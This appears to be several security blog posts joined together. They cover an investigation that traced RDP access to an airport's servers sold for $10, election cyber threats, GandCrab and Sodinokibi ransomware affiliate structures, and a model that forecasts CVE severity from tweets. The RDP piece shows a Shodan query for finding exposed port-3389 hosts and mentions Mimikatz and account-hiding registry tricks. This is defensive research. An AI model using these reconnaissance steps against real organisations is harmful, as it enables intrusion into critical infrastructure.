By leveraging the vast amounts of connections offered by the RDP shops, we were able to quickly identify a victim that fits the profile of a high-value target in the United States.
We found a newly posted (on April 16)
Windows Server 2008 R2 Standard machine on the UAS Shop.
According to the shop details, it belonged to a city in the United States and for a mere $10 we could get administrator rights to this system.
RDP access offered for sale.
UAS Shop hides the last two octets the of the IP addresses of the systems it offers for sale and charges a small fee for the complete address.
(We did not pay for any services offered by UAS or any other shop.)
To locate the system being sold, we used shodan.io to search for any open RDP ports at that specific organization using this query: org:”City  XXX” port:”3389” The results were far more alarming than we anticipated.
The Shodan search narrowed 65,536 possible IPs to just three that matched our query.
By obtaining a complete IP address we could now look up the WHOIS information, which revealed that all the addresses belonged to a major International airport.
This is definitely not something you want to discover on a Russian underground RDP shop, but the story gets worse.
From bad to worse Two of the IP addresses presented a screenshot of the accessible login screens.
A login screen that matches the configuration offered in the RDP shop.
A closer look at the screenshots shows that the Windows configuration (preceding screen) is identical to the system offered in the RDP shop.
There are three user accounts available on this system, one of which is the administrator account.
The names of the other accounts seemed unimportant at first but after performing several open-source searches we found that the accounts were associated with two companies specializing in airport security; one in security and building automation, the other in camera surveillance and video analytics.
We did not explore the full level of access of these accounts, but a compromise could offer a great foothold and lateral movement through the network using tools such as Mimikatz.
The login screen of a second system on the same network.
Looking at the other login account (preceding screen), we saw it is part of the domain with a very specific abbreviation.
We performed the same kind of search on the other login account and found the domain is most likely associated with the airport’s automated transit system, the passenger transport system that connects terminals.
It is troublesome that a system with such significant public impact might be openly accessible from the Internet.
Now we know that attackers, like the SamSam group, can indeed use an RDP shop to gain access to a potential high-value ransomware victim.
We found that access to a system associated with a major international airport can be bought for only $10—with no zero-day exploit, elaborate phishing campaign, or watering hole attack.
Anonymization To publish our findings, we have anonymized the data to prevent any disclosure of sensitive security information.
Basic forensic and security advice Playing hide and seek Besides selling countless connections, RDP shops offer tips on how to remain undetected when an attacker wants to use the freshly bought RDP access.
This screen from the UAS Shop’s FAQ section explains how to add several registry keys to hide user accounts.
The UAS Shop offers a zip file with a patch to allow multiuser RDP access, although it is not possible by default on some Windows versions.
The zip file contains two .reg files that alter the Windows registry and a patch file that alters termsvrl.dll to allow concurrent remote desktop connections.
These alterations to the registry and files leave obvious traces on a system.
Those indicators can be helpful when investigating misuse of RDP access.
In addition to checking for these signs, it is good practice to check the Windows event and security logs for unusual logon types and RDP use.
The following screen, from the well-known SANS Digital Forensics and Incident Response poster, explains where the logs can be found.
Source: SANS DFIR
Poster 2015.
Basic RDP security measures Outside access to a network can be necessary, but it always comes with risk.
We have summarized some basic RDP security measures: Using complex passwords and two-factor authentication will make brute-force RDP attacks harder to succeed Do not allow RDP connections over the open Internet Lock out users and block or timeout IPs that have too many failed login attempts Regularly check event logs for unusual login attempts Consider using an account-naming convention that does not reveal organizational information Enumerate all systems on the network and list how they are connected and through which protocols.
This also applies for Internet of Things and POS systems.
Conclusion Remotely accessing systems is essential for system administrators to perform their duties.
Yet they must take the time to set up remote access in a way that is secure and not easily exploitable.
RPD shops are stockpiling addresses of vulnerable machines and have reduced the effort of selecting victims by hackers to a simple online purchase.
Governments and organizations spend billions of dollars every year to secure the computer systems we trust.
But even a state-of-the-art solution cannot provide security when the backdoor is left open or carries only a simple padlock.
Just as we check the doors and windows when we leave our homes, organizations must regularly check which services are accessible from the outside and how they are secured.
Protecting systems requires an integrated approach of defense in depth and proactive attitudes from every employee.
This year, Canada, multiple European nations, and others will host high profile elections.
The topic of cyber-enabled threats disrupting and targeting elections has become an increasing area of awareness for governments and citizens globally.
To develop solutions and security programs to counter cyber threats to elections, it is important to begin with properly categorizing the threat.
In this post, we’ll explore the various threats to elections FireEye has observed and provide a framework for organizations to sort these activities.
The Election Ecosystem: Targets Historically, FireEye has observed targeting of a wide range of organizations connected to elections.
In considering their role and criticality to the process of elections, these various entities can be grouped into three categories: core election infrastructure, supporting organizations involved in the administration of elections, and other groups that have a participatory role in the electoral process.
All of these entities may be targeted for a variety of reasons to influence or collect intelligence on the electoral process and participants.
FireEye is aware of only limited indications of entities targeted in the first category (light blue area).
Although we have not observed direct evidence that actors have manipulated the electoral process in any major national or regional election by infiltrating the systems or hardware used to record or tally votes, the sheer complexity of these systems prevents us from categorically stating that these systems have not been successfully compromised.
Moving outward into the gray section of the diagram, entities that fall into this category include organizations involved in the administration of elections.
While these organizations may maintain networks separate from voting systems and tabulation platforms, they play important roles in overseeing and communicating results to the public.
FireEye has witnessed breaches into a variety of these organizations, in some cases for the purpose of collecting intelligence or in others to coopt and display false information on publicly-facing systems as part of an influence campaign.
Lastly, FireEye has observed targeting of organizations that are involved in election campaigns and news coverage.
Tactics we have witnessed include disinformation campaigns on adversary-maintained infrastructure and social media platforms.
For example, in August 2017, we observed several inauthentic news websites created to mimic legitimate local and international media organizations ahead of a sub-Saharan African nation’s presidential election.
A subset of the counterfeit domains appears to have been created in coordination with each other, if not by the same actor, to damage the reputation of the presidential nominee for the opposition party.
The Threat Activity To counter and mitigate risks to elections, properly categorizing the specific activity and intent is important.
While terms like “election interference” are often used to describe all of the threats in this space, some of the malicious activity FireEye has witnessed may fall outside this definition.
Broadly speaking most election-related threats can be thought of in four categories: social-media enabled disinformation, cyber espionage, “hack and leak” campaigns, and attacks on critical election infrastructure.
Social-Media Enabled Disinformation : This category includes the activity FireEye has tracked from the Russia-affiliated Internet Research Association (IRA) and various Iranian disinformation operations .
In some cases, this has involved creating fraudulent content on controversial issues and seeking to promote it across social media platforms.
In other examples, disinformation campaigns have focused on amplifying already issues that have organic interest.
Some of these campaigns may also be involved in politically-motivated messaging on social media platforms prior to elections without a specific focus electoral events.
Cyber Espionage : Nation state actors like Russia-nexus APT28 and Sandworm Team, and China-nexus APT40, have carried out cyber espionage operations against multiple types of targets in the election ecosystem.
This has ranged from intrusions into everything from political campaigns to election commissions, likely for a variety of reasons.
In some cases, these actors are possibly seeking to obtain information on policy stances of candidates and political parties.
In other situations—particularly against election administrators or system vendors—it is possible that these intrusions are reconnaissance for further operations, seeking to understand network layouts that may allow them to move into more critical infrastructure.
“Hack and Leak” Campaigns : Some threat actors that FireEye has observed have utilized the data they’ve gained from espionage intrusions to then leak that information with the intent of influencing public perception.
In this manner, they combine the previous two categories of activity.
Notably, this tactic has been employed by Guccifer 2.0 and DC Leaks in the 2016 U.S. election.
In some cases, similar tactics have leveraged compromised infrastructure to carry out disinformation operations, such as in the 2014 Ukrainian presidential campaign in which Russian-nexus actors posted erroneous election results from the compromised Ukrainian election commission website.
Attacks on Critical Election Infrastructure : Compromises into core critical infrastructure such as election management systems, voting systems, electronic pollbooks, and others represent the most critical risks to elections, with the potential to alter or delete votes or voters from voter rolls.
Though this is an often-discussed risk, there is limited evidence of intrusion activity targeting core election infrastructure.
Of the activity described here, FireEye has observed a full spectrum of campaigns by Russian-nexus actors, from carrying out intrusions into organizations and stealing data, leaking that data through online personas and fronts, as well as targeting of election infrastructure.
From limited observations, China has for the most part focused solely on cyber espionage operations, as in the case of activity FireEye reported on in the targeting the 2018 Cambodian election .
From various motivations, FireEye has also witnessed limited evidence of activity from hacktivists and criminal entities in targeting parts of the election ecosystem.
Conclusion While there is increasing global awareness of threats to elections, election administrators and others continue to face challenges in ensuring the integrity of the vote.
To properly counter threats to elections, individuals and organizations involved in the electoral process should: Learn the Playbook of the Adversary : Proactive organizations can learn from the activity of threat actors uncovered in other elections and implement security controls that adapt to new tools and TTPs.
Political campaigns and others should also educate staff and contractors on common spear-phishing tactics used by some of the primary APT groups.
Incorporate Threat Intelligence for Context : Operationally, security organizations can utilize threat intelligence to better differentiate and triage the most important alerts from untargeted commodity malware activity.
Anticipate External Threats : Beyond the internal networks of county governments and political campaigns, election administrators and risk management professionals involved in elections should prepare plans for dealing with leaked and compromised data, understanding how threat actors may utilize this for disinformation campaigns.
I will be speaking about cyber threats and elections during FireEye Virtual Summit , so register today to learn more.
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By John Fokker and Christiaan Beek on Oct 02, 2019 Episode 2: The All-Stars Analyzing Affiliate Structures in Ransomware-as-a-Service Campaigns
This is the second installment of the McAfee Advanced Threat Research (ATR) analysis of Sodinokibi and its connections to GandGrab, the most prolific Ransomware-as-a-Service (RaaS) Campaign of 2018 and mid-2019.
GandCrab announced its retirement at the end of May.
Since then, a new RaaS family called Sodinokibi, aka REvil, took its place as one of the most prolific ransomware campaigns.
In episode one of our analysis on the Sodinokibi RaaS campaign we shared our extensive malware and post-infection analysis, which included code comparisons to GandCrab, and insight on exactly how massive the new Sodinokibi campaign is.
The Sodinokibi campaigns are still ongoing and differ in execution due to the different affiliates spreading the ransomware.
Which begs more questions to be answered, such as how do the affiliates operate?
Is the affiliate model working?
What can we learn about the campaign and possible connections to GandCrab by investigating the affiliates?
It turns out, through large scale sample analysis and hardcoded value aggregation, we were able to determine which affiliates played a crucial role in the success of GandCrab’ criminal enterprise and found a lot of similarity between the RaaS enterprise of GandCrab and that of Sodinokibi.
Before we begin with the Sodinokibi analysis and comparison we will briefly explain the methodology that we used for GandCrab.
GandCrab RaaS System GandCrab was a prime example of a Ransomware-as-a-Service.
RaaS follows a structure where the developers are offering their product to affiliates, partners or advertisers who are responsible for spreading the ransomware and generating infections.
The developers take a percentage of the earned income and provide the other portion to the affiliates.
FIGURE 1.
HIGH LEVEL OVERVIEW OF THE GANDCRAB RAAS MODEL Operating a RaaS model can be lucrative for both parties involved: Developer’s perspective : The malware author/s request a percentage per payment for use of the ransomware product.
This way the developers have less risk than the affiliates spreading the malware.
The developers can set certain targets for their affiliates regarding the amount of infections they need to produce.
In a way, this is very similar to a modern sales organization in the corporate world.
Subsequently, a RaaS model offers malware authors a safe haven when they operate from a country that does not regard developing malware as a crime.
If their own nation’s citizens are not victimized, the developers are not going to be prosecuted.
Affiliate perspective : As an affiliate you do not have to write the ransomware code yourself; less technical skill is involved.
RaaS makes ransomware more accessible to a greater number of users.
An affiliate just needs to be accepted in the criminal network and reach the targets set by the developers.
As a service model it also offers a level of decentralization where each party sticks to their own area of expertise.
Getting a Piece of the Pie Affiliates want to get paid proportionate to the infections they made; they expose themselves to a large amount of risk by spreading ransomware and they want to reap the benefits.
Mutual trust between the developer and the affiliate plays a huge role in joining a RaaS system.
It is very much like the expression: “Trust, hard to build, and easy to lose” and this largely explains the general skepticism that cybercriminal forum members display when a new RaaS system is announced.
For the RaaS service to grow and maintain their trust, proper administration of infections/earnings per affiliate plays an important part.
Through this, the developers can ensure that everyone gets an honest piece of the proverbial “pie”.
So how can this administration be achieved?
One way is having hardcoded values in the ransomware.
Linking the Ransomware to Affiliates Through our technical malware analysis, we established that, starting from version 4, GandCrab included certain hardcoded values in the ransomware source code: id – The affiliate id number.
sub_id – The Sub ID of the affiliate ID; A tracking number for the affiliate for sub-renting infections or it tracks their own campaign, identifiable via the sub_id number.
version – The internal version number of the malware.
Version 4 had significant changes overall and we believe that these changes were partly done by the authors to improve administration and make GandCrab more scalable to cope with its increased popularity.
Based on the hardcoded values it was possible for us, to a certain extent, to extract the administration information and create our own overview.
We hunted for as many different GandCrab samples as we could find, using Yara rules, industry contacts and customer submissions.
The sample list we gathered is quite extensive but not exhaustive.
From the collected samples we extracted the hardcoded values and compile times automatically, using a custom build tool.
We aggregated all these values together in one giant timeline from GandCrab version 4, all the way up to version 5.2.
FIGURE 2.
SMALL PORTION OF THE TIMELINE OF COLLECTED SAMPLES (NOTE THE FIRST FOUR POSSIBLY TIME STOMPED)
ID and SUB_ID Characteristics Observed Parent-Child Relationship
The extracted ID’s and Sub_IDs showed a parent-child relationship, meaning every ID could have more than one SUB_ID (child) but every SUB_ID only had one ID (parent).
FIGURE 3.
THE ACTIVITY OF ID NUMBER 41 (PARENT) AND ITS CORRESPONDING SUB_IDs (CHILDREN) ID
Increments Overall, we observed a gradual increment in the ID number over time.
The earlier versions generally had lower ID numbers and higher ID numbers appeared with the later versions.
However, there were relatively lower ID numbers that appeared in many versions, as shown in figure 3.
This observation aligned with our theory that the ID number corresponds with a particular affiliate.
Certain affiliates remained partners for a long period of time, spreading different versions of GandCrab; this explains the ID number appearing over a longer period and in different versions.
This theory has also been acknowledged by several (anonymous) sources.
Determining Top ID’s/Affiliates When we applied the theory that the ID corresponded with an affiliate, we observed different activity amongst the affiliates.
There are some affiliates/ID’s that were only linked to a single sample that we found.
A reason for affiliates to only appear for a short moment can be explained by the failure to perform.
The GandCrab developers had a strict policy of expelling affiliates that underperformed.
Expelling an affiliate would open a new slot that would receive a new incremented ID number.
On the other hand, we observed several very active affiliates, “The All-Stars” , of which ID number 99 was by far the most active.
We first observed ID 99 in six different samples of version 4.1.1, growing to 35 different samples in version 5.04.
Based on our dataset we observed 71 unique unpacked samples linked to ID 99.
Being involved with several versions (consistency over time), in combination with the number of unique samples (volume) and the number of infections (based on industry malware detections) can effectively show which affiliate was the most aggressive and possibly the most important to the RaaS network.
Affiliate vs. Salesperson & Disruption An active affiliate can be compared to a top salesperson in any normal commercial organization.
Given that the income of the RaaS network is largely dependent on the performance of its top affiliates, identifying and disrupting a top affiliate’s activity can have a crippling effect on the income of the RaaS network, internal morale and overall RaaS performance.
This can be achieved through arrests of an affiliate and/or co-conspirers.
Another way is disrupting the business model and lowering the ransomware’s profits through offering free decryption tools or building vaccines that prevent encryption.
The disruption will increase the operational costs for the criminals, making the RaaS of less interest.
Lastly, for any future proceedings (suspect apprehension and legal)
it is important to maintain a chain of custody linking victims, samples and affiliates together.
Security providers as gatherers and owners of this data play a huge role in safeguarding this for the future.
Overview Versions and ID Numbers Using an online tool from RAWGraphs we created a graphic display of the entire dataset showing the relationship between the versions and the ID numbers.
Below is an overview, a more detailed overview can be found on the McAfee ATR Github .
FIGURE 4.
OVERVIEW OF GANDCRAB VERSIONS AND IDs
Top performing affiliates immediately stood out from the rest as the lines were thicker and more spread out.
According to our data, the most active ID numbers were 15,41,99 and 170.
Determining the key players in a RaaS family can help Law Enforcement prioritize its valuable resources.
Where are the All-Stars?
Top Affiliates Missing in 5.2 At the time we were not realizing it fully but, looking back at the overview, it stands out that none of the top affiliates/ID numbers where present in the final version 5.2 of GandCrab which was released in February.
We believe that this was an early indicator that the end of GandCrab was imminent.
This discovery might indicate that some kind of event had taken place that resulted in the most active affiliates not being present.
The cause could have been internal or external.
But what puzzles us is why would a high performing affiliate leave?
Maybe we will never hear the exact reason.
Perhaps it is quite similar to why people leave regular jobs… feeling unhappy, a dispute or leaving for a better offer.
With the absence of the top affiliates the question remains; Where did these affiliates go to?
FIGURE 5.
ID AND SUB_ID NUMBER LINKED TO VERSION 5.2 Please note that active ID numbers 15,41,99 and170 from the complete overview are not present in any GandCrab version 5.2 infections.
The most active affiliate in version 5.2. was nr 287.
Goodbye GandCrab, Hello Sodinokibi/
REvil In our opening episode we described the technical similarities we have seen between GandCrab and REvil.
We are not the only ones that noticed these similarities – security reporter Brian Krebs published an article where he highlights the similarities between GandCrab and a new ransomware named Sodinokibi or REvil, and certain postings that were made on several underground forums.
Affiliates Switching RaaS Families….
On two popular underground Forums a user named UNKN , aka unknown , placed an advertisement on the 4 th of July 2019, for a private ransomware as a service (RaaS) he had been running for some time.
Below is a screenshot of the posting.
Interesting is the response from a user with the nickname Lalartu.
In a reply to the advertisement, Lalartu mentions that he is working with UNKN and his team, as well as that they had been a former GandCrab affiliate, something that was noticed by Bleepingcomputer too.
Lalartu’s post supports our earlier observations that some top GandCrab affiliates suddenly disappeared and might have moved to a different RaaS family.
This is something that was suspected but never confirmed with technical evidence.
We suspect that Lalartu is not the only GandCrab affiliate that has moved to Sodinokibi.
If top affiliates have a solid and very profitable infection method available, then it does not make sense to retire with the developers.
Around February 2019, there was a noticeable change in some of GandCrab’s infections behavior.
Managed Service Providers (MSP) were now targeted through vulnerable systems and their customers got infected with GandCrab on a large scale, something we had not seen performed before by any of the affiliates.
Interestingly, shortly after the retirement of GandCrab, the MSP modus operandi was quickly adopted by Sodinokibi, another indication that a former GandCrab affiliate had moved to Sodinokibi.
This makes us suspect that Sodinokibi is actively recruiting the top performing affiliates from other successful RaaS families, creating a sort of all-star team.
At the same time, the RaaS market is such where less proficient affiliates can hone their skills, improve their spreading capabilities and pivot to the more successful RaaS families.
Combined with a climate where relatively few ransomware arrests are taking place, it allows for an alarming cybercriminal career path with dire consequences.
Gathering “administration” from Sodinokibi/Revil Samples Another similarity Sodinokibi shares with GandCrab is the administration of infections, one of the indicators of a RaaS’s growth potential.
In our earlier blog we discussed that Sodinokibi generates a JSON config file for each sample containing certain values such as a PID number and a value labeled sub.
So, we decided to use our GandCrab affiliate methodology on the Sodinokibi config files we were able to collect.
With GandCrab we had to write our own tool to pull the hardcoded indicators but, with Sodinokibi, we were lucky enough that Carbon Black had developed a tool that did much of the heavy lifting for us.
In the end there were still some samples from which we had to pull the configs manually.
The JSON file contains different values and fields; for a comparison to GandCrab we focused on the PID and SUB field of each sample as these values appeared to have a similar characteristic as the ID and SUB_ID field in the GandCrab samples.
FIGURE 6.
REVIL JSON CONFIG VALUES Interpreting the Data Structures With the data we gathered, we used the same analysis methodology on Sodinokibi  as we did on GandCrab.
We discovered that Sodinokibi has a RaaS structure very similar to GandCrab and with the Parent-Child relationship structure being nearly identical.
Below we compared activity of GandCrab affiliate number 99 with the activity of the Sodinokibi affiliate number 19.
FIGURE 7.
THE ACTIVITY OF GANDCRAB ID
NO 99 (PARENT) AND ITS CORRESPONDING SUB (CHILDREN) FIGURE 8.
THE ACTIVITY OF SODINOKIBI PID NO 19 (PARENT) AND ITS CORRESPONDING SUB (CHILDREN)
It needs to be said that the timespan for the GandCrab overview was generated over a long period of time with a larger total of samples than the Sodinokibi overview.
Nevertheless, the similarity is quit striking.
The activity of both ID numbers displays a tree-shaped structure with the parent ID number at the root and branching out to the respective SUB numbers linked to multiple samples.
We believe that the activity above might be linked to a tiered affiliate group that is specialized in RDP brute forcing and infecting systems with Sodinokibi after each successful compromise.
Both RaaS family structures are too large to effectively publish within the space of this blog.
Our Complete overview for the Sodinokibi RaaS structure can be found on our McAfee GitHub .
Conclusion When we started our journey with GandCrab we did not expect it would take us so far down the rabbit hole.
Mass sample analysis and searching for administration indicators provided a way to get more insight in a multi-million-dollar criminal enterprise, determine key players and foresee future events through changes in the business structure.
We believe that the retirement of GandCrab was not an overnight decision and, based on the data on the affiliates, it was clear that something was going to happen.
With the emergence of Sodinokibi and the few forum postings by a high profile former GandCrab affiliate, everything fell into place.
We have strong indications that some of the top affiliates have found a new home with Sodinokibi to further their criminal business.
Given that the income of the RaaS network is largely dependent on the performance of its top affiliates, and it is run like a normal business, we (the security industry) should not only research the products the criminals develop, but also identify possible ways to successfully disrupt the criminal business.
In our next episode we dive deeper into the financial streams involved in the affiliate program and provide an estimate of how much money these actors are earning with the ransomware-as-a-service business model.
Introduction If a software vulnerability can be detected and remedied, then a potential intrusion is prevented.
While not all software vulnerabilities are known, 86 percent of vulnerabilities leading to a data breach were patchable , though there is s o m e risk of inadvertent damage when applying software patches.
When new vulnerabilities are identified they are published in the Common Vulnerabilities and Exposures (CVE) dictionary by vulnerability databases , such as the National Vulnerability Database (NVD).
The Common Vulnerabilities Scoring System (CVSS) provides a metric for prioritization that is meant to capture the potential severity of a vulnerability.
However, it has been criticized for a lack of timeliness, vulnerable population representation, normalization, rescoring and broader expert consensus that can lead to disagreements .
For example, some of the worst exploits have been assigned low CVSS scores.
Additionally, CVSS does not measure the vulnerable population size, which many practitioners have stated they expect it to score.
The design of the current CVSS system leads to too many severe vulnerabilities, which causes user fatigue.
­ To provide a more timely and broad approach, we use machine learning to analyze users’ opinions about the severity of vulnerabilities by examining relevant tweets.
The model predicts whether users believe a vulnerability is likely to affect a large number of people, or if the vulnerability is less dangerous and unlikely to be exploited.
The predictions from our model are then used to score vulnerabilities faster than traditional approaches, like CVSS, while providing a different method for measuring severity, which better reflects real-world impact.
Our work uses nowcasting to address this important gap of prioritizing early-stage CVEs to know if they are urgent or not.
Nowcasting is the economic discipline of determining a trend or a trend reversal objectively in real time.
In this case, we are recognizing the value of linking social media responses to the release of a CVE after it is released, but before it is scored by CVSS.
Scores of CVEs should ideally be available as soon as possible after the CVE is released, while the current process often hampers prioritization of triage events and ultimately slows response to severe vulnerabilities.
This crowdsourced approach reflects numerous practitioner observations about the size and widespread nature of the vulnerable population, as shown in Figure 1.
For example, in the Mirai botnet incident in 2017 a massive number of vulnerable IoT devices were compromised leading to the largest Denial of Service (DoS) attack on the internet at the time.
Figure 1:
Tweet showing social commentary on a vulnerability that reflects severity Model Overview Figure 2 illustrates the overall process that starts with analyzing the content of a tweet and concludes with two forecasting evaluations.
First, we run Named Entity Recognition (NER) on tweet contents to extract named entities.
Second, we use two classifiers to test the relevancy and severity towards the pre-identified entities.
Finally, we match the relevant and severe tweets to the corresponding CVE.
Figure 2: Process overview of the steps in our CVE score forecasting Each tweet is associated to CVEs by inspecting URLs or the contents hosted at a URL.
Specifically, we link a CVE to a tweet if it contains a CVE number in the message body, or if the URL content contains a CVE.
Each tweet must be associated with a single CVE and must be classified as relevant to security-related topics to be scored.
The first forecasting task considers how well our model can predict the CVSS rankings ahead of time.
The second task is predicting future exploitation of the vulnerability for a CVE based on Symantec Antivirus Signatures and Exploit DB.
The rationale is that eventual presence in these lists indicates not just that exploits can exist or that they do exist, but that they also are publicly available.
Modeling Approach Predicting the CVSS scores and exploitability from Twitter data involves multiple steps.
First, we need to find appropriate representations (or features) for our natural language to be processed by machine learning models.
In this work, we use two natural language processing methods in natural language processing for extracting features from text: (1) N-grams features, and (2) Word embeddings.
Second, we use these features to predict if the tweet is relevant to the cyber security field using a classification model.
Third, we use these features to predict if the relevant tweets are making strong statements indicative of severity.
Finally, we match the severe and relevant tweets up to the corresponding CVE.
N-grams are word sequences, such as word pairs for 2-gram or word triples for 3-grams.
In other words, they are contiguous sequence of n words from a text.
After we extract these n-grams, we can represent original text as a bag-of-ngrams.
Consider the sentence: A criticial vulnerability was found in Linux.
If we consider all 2-gram features, then the bag-of-ngrams representation contains “A critical”, “critical vulnerability”, etc.
Word embeddings are a way to learn the meaning of a word by how it was used in previous contexts, and then represent that meaning in a vector space.
Word embeddings know the meaning of a word by the company it keeps, more formally known as the distribution hypothesis .
These word embedding representations are machine friendly, and similar words are often assigned similar representations.
Word embeddings are domain specific.
In our work, we additionally train terminology specific to cyber security topics, such as related words to threats are defenses , cyberrisk , cybersecurity , threat , and iot-based .
The embedding would allow a classifier to implicitly combine the knowledge of similar words and the meaning of how concepts differ.
Conceptually, word embeddings may help a classifier use these embeddings to implicitly associate relationships such as: device + infected = zombie where an entity called device has a mechanism applied called infected (malicious software infecting it) then it becomes a zombie .
To address issues where social media tweets differ linguistically from natural language, we leverage previous research and software from the Natural Language Processing (NLP) community.
This addresses specific nuances like less consistent capitalization, and stemming to account for a variety of special characters like ‘@’ and ‘#’.
Figure 3:
Tweet demonstrating value of identifying named entities in tweets in order to gauge severity Named Entity Recognition (NER) identifies the words that construct nouns based on their context within a sentence, and benefits from our embeddings incorporating cyber security words.
Correctly identifying the nouns using NER is important to how we parse a sentence.
In Figure 3, for instance, NER facilitates Windows 10 to be understood as an entity while October 2018 is treated as elements of a date.
Without this ability, the text in Figure 3 may be confused with the physical notion of windows in a building.
Once NER tokens are identified, they are used to test if a vulnerability affects them.
In the Windows 10 example, Windows 10 is the entity and the classifier will predict whether the user believes there is a serious vulnerability affecting Windows 10 .
One prediction is made per entity, even if a tweet contains multiple entities.
Filtering tweets that do not contain named entities reduces tweets to only those relevant to expressing observations on a software vulnerability.
From these normalized tweets, we can gain insight into how strongly users are emphasizing the importance of the vulnerability by observing their choice of words.
The choice of adjective is instrumental in the classifier capturing the strong opinions.
Twitter users often use strong adjectives and superlatives to convey magnitude in a tweet or when stressing the importance of something related to a vulnerability like in Figure 4.
This magnitude often indicates to the model when a vulnerability’s exploitation is widespread.
Table 1 shows our analysis of important adjectives that tend to indicate a more severe vulnerability.
Figure 4:
Tweet showing strong adjective use Table 1: Log-odds ratios for words correlated with highly-severe CVEs Finally, the processed features are evaluated with two different classifiers to output scores to predict relevancy and severity.
When a named entity is identified all words comprising it are replaced with a single token to prevent the model from biasing toward that entity.
The first model uses an n-gram approach where sequences of two, three, and four tokens are input into a logistic regression model.
The second approach uses a one-dimensional Convolutional Neural Network (CNN), comprised of an embedding layer, a dropout layer then a fully connected layer, to extract features from the tweets.
Evaluating Data To evaluate the performance of our approach, we curated a dataset of 6,000 tweets containing the keywords vulnerability or ddos from Dec 2017 to July 2018.
Workers on Amazon’s Mechanical Turk platform were asked to judge whether a user believed a vulnerability they were discussing was severe.
For all labeling, multiple users must independently agree on a label, and multiple statistical and expert-oriented techniques are used to eliminate spurious annotations.
Five annotators were used for the labels in the relevancy classifier and ten annotators were used for the severity annotation task.
Heuristics were used to remove unserious respondents; for example, when users did not agree with other annotators for a majority of the tweets.
A subset of tweets were expert-annotated and used to measure the quality of the remaining annotations.
Using the features extracted from tweet contents, including word embeddings and n-grams, we built a model using the annotated data from Amazon Mechanical Turk as labels.
First, our model learns if tweets are relevant to a security threat using the annotated data as ground truth.
This would remove a statement like “here is how you can #exploit tax loopholes” from being confused with a cyber security-related discussion about a user exploiting a software vulnerability as a malicious tool.
Second, a forecasting model scores the vulnerability based on whether annotators perceived the threat to be severe.
CVSS Forecasting Results Both the relevancy classifier and the severity classifier were applied to various datasets.
Data was collected from December 2017 to July 2018.
Most notably 1,000 tweets were held-out from the original 6,000 to be used for the relevancy classifier and 466 tweets were held-out for the severity classifier.
To measure the performance, we use the Area Under the precision-recall Curve (AUC), which is a correctness score that summarizes the tradeoffs of minimizing the two types of errors (false positive vs false negative), with scores near 1 indicating better performance.
The relevancy classifier scored 0.85 The severity classifier using the CNN scored 0.65 The severity classifier using a Logistic Regression model, without embeddings, scored 0.54 Next, we evaluate how well this approach can be used to forecast CVSS ratings.
In this evaluation, all tweets must occur a minimum of five days ahead of CVSS scores.
The severity forecast score for a CVE is defined as the maximum severity score among the tweets which are relevant and associated with the CVE.
Table 1 shows the results of three models: randomly guessing the severity, modeling based on the volume of tweets covering a CVE, and the ML-based approach described earlier in the post.
The scoring metric in Table 2 is precision at top K using our logistic regression model.
For example, where K=100, this is a way for us to identify what percent of the 100 most severe vulnerabilities were correctly predicted.
The random model would predicted 59, while our model predicted 78 of the top 100 and all ten of the most severe vulnerabilities.
Table 2:
Comparison of random simulated predictions, a model based just on quantitative features like “likes”, and the results of our model Exploit Forecasting Results
We also measured the practical ability of our model to identify the exploitability of a CVE in the wild, since this is one of the motivating factors for tracking.
To do this, we collected severe vulnerabilities that have known exploits by their presence in the following data sources: Symantec Antivirus signatures Symantec Intrusion Prevention System signatures ExploitDB catalog The dataset for exploit forecasting was comprised of 377,468 tweets gathered from January 2016 to November 2017.
Of the 1,409 CVEs used in our forecasting evaluation, 134 publicly weaponized vulnerabilities were found across all three data sources.
Using CVEs from the aforementioned sources as ground truth, we find our CVE classification model is more predictive of detecting operationalized exploits from the vulnerabilities than CVSS.
Table 3 shows precision scores illustrating seven of the top ten most severe CVEs and 21 of the top 100 vulnerabilities were found to have been exploited in the wild.
Compare that to one of the top ten and 16 of the top 100 from using the CVSS score itself.
The recall scores show the percentage of our 134 weaponized vulnerabilities found in our K examples.
In our top ten vulnerabilities, seven were found to be in the 134 (5.2%), while the CVSS scoring’s top ten included only one (0.7%) CVE being exploited.
Table 3: Precision and recall scores for the top 10, 50 and 100 vulnerabilities when comparing CVSS scoring, our simplistic volume model and our NLP model Conclusion Preventing vulnerabilities is critical to an organization’s information security posture, as it effectively mitigates some cyber security breaches.
In our work, we found that social media content that pre-dates CVE scoring releases can be effectively used by machine learning models to forecast vulnerability scores and prioritize vulnerabilities days before they are made available.
Our approach incorporates a novel social sentiment component, which CVE scores do not, and it allows scores to better predict real-world exploitation of vulnerabilities.
Finally, our approach allows for a more practical prioritization of software vulnerabilities effectively indicating the few that are likely to be weaponized by attackers.
NIST has acknowledged that the current CVSS methodology is insufficient.
The current process of scoring CVSS is expected to be replaced by ML-based solutions by October 2019, with limited human involvement.
However, there is no indication of utilizing a social component in the scoring effort.
This work was led by researchers at Ohio State under the IARPA CAUSE program, with support from Leidos and FireEye.
This work was originally presented at NAACL in June 2019, our paper describes this work in more detail and was also covered by Wired .
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By Raj Samani on Dec 18, 2018 The McAfee Advanced Threat Research team today published the McAfee® Labs Threats Report, December 2018.
In this edition, we highlight the notable investigative research and trends in threats statistics and observations gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q3 of 2018.
We are very excited to present to you new insights and a new format in this report.
We are dedicated to listening to our customers to determine what you find important
and how we can add value.
In recent months we have gathered more threat intelligence, correlating and analyzing data to provide more useful insights into what is happening in the evolving threat landscape.
McAfee is collaborating closely with MITRE Corporation in extending the techniques of its MITRE ATT&CK™ knowledge base, and we now include the model in our report.
We are always working to refine our process and reports.
You can expect more from us, and we welcome your feedback.
As we dissect the threat landscape for Q3, some noticeable statistics jump out of the report.
In particular, the continued rise in cryptojacking, which has made an unexpected emergence over the course of a year.
In Q3 the growth of coin miner malware returned to unprecedented levels after a temporary slowdown in Q2.
Our analysis of recent threats included one notable introduction in a disturbing category.
In Q3 we saw two new exploit kits: Fallout and Underminer.
Fallout almost certainly had a bearing on the spread of GandCrab, the leading ransomware.
Five years ago we published the report “Cybercrime Exposed,” which detailed the rise of cybercrime as a service.
Exploit kits are the epitome of this economy, affording anyone the opportunity to easily and cheaply enter the digital crime business.
New malware samples jumped up again in Q3 after a decline during the last two quarters.
Although the upward trend applies to almost every category, we did measure a decline in new mobile malware samples following three quarters of continual growth.
This post is only a small snapshot of the comprehensive analysis provided in the December Threats Report.
We hope you enjoy the new format, and we welcome your feedback.
Cryptocurrency scams seem to be gaining momentum by the day.
